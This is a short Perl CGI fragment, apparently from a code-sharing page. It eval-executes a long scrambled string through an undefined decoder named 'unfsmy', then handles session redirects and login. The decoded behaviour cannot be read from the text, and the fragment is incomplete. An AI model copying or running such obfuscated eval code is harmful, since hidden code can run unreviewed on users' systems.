Select Code to Download

my $qwer='iPd oh::fXAnd9_BO_45R3 _8VTXP9PdI_B7_88sss_8dPdIIs07d_8dGd9_
+88_BO_45R3 _8g5GPsdl_BO_45R3 _8VTXP9_B7_8VDbz_LOvttr_gcvhft_L7_BO_45_
+8VTXP9_B7_LdP_8csss_gA_8d_8c_8c0_BO_45R3 _8V7XAiRdG9_B7_88_8cAp0_87O0
+G_8c57R0G_8cI0AdGAd_8dAp0_Bc_8VxhbK_LOI0AdGAd_L7_8k_8VTXP9_8ky_88_BO_
+45_8VldRX9d _B7 oh::fXAnd9::obDt_87>Gds_8F rlX9X _B7> _889A2_88,_45rd
+dlE77l _B7> _8VTXP9PdI,_45rddlrXl9 _B7> _88T992_8FF4_8q_88,_45_8q_BO_
+450c _8F_8VldRX9d_8q_LO_45_8VldRX9d_87>5i9XcIiPT_8Fy_8q_BO_452l0G9 _8
+VldRX9d _881Dt _8V7XAiRdG9 vttr_8cy_8d4_gAG_gAG_88_BO_45sT0Id _8F<_8V
+ldRX9d>_8q_LO_45I5P9 iGIdPP _8c_gAf_8c_BO_45_L7_45sT0Id _8F <_8VldRX9
+d> _8q _LO_45ATXR2_BO_45_8c_8F_8d_85_Bc_8q:_8F_8d_85_8q_8c_BO_45_8V5G
+Psdl_LO_8Vy_L7_B7_8V8_BO _45_L7_45_87AIXPd _8VldRX9d_BO_450c_8F_8V5GP
+sdl_LOftEtQf_L7 dZ _8Lld70ldA9_8L_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_8
+V5GPsdl_LOJhxEtohb_L7_8q_BO_45dH09_8F_8q_BO_45_L7_45_L7dIPd_LO_450c _
+8F_8VxhbK_LOR5HI0R_L7>g4_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_88sss_8dPd
+IIs07d_8dGd9_8cO57AXGGdA90XG_8dT9RI_88_8q_BO_45dH09_8F_8q_BO_45_L7_45
+_8VxhbK_LOR5HI0R_L7_8O_8O_BO_45P5Cd_gcAXGc0p_8F4,_88R5HI0R_88,_8VxhbK
+_LOR5HI0R_L7_8q_BO_45_L7_45_45';eval(unfsmy($qwer));

&Error;
print $q->redirect("$SCRIPT_NAME?ses=$ran");

    &redirect_to_login;
    &printheader;
...
    $page->ParseData;
    $page->print;
    exit(1);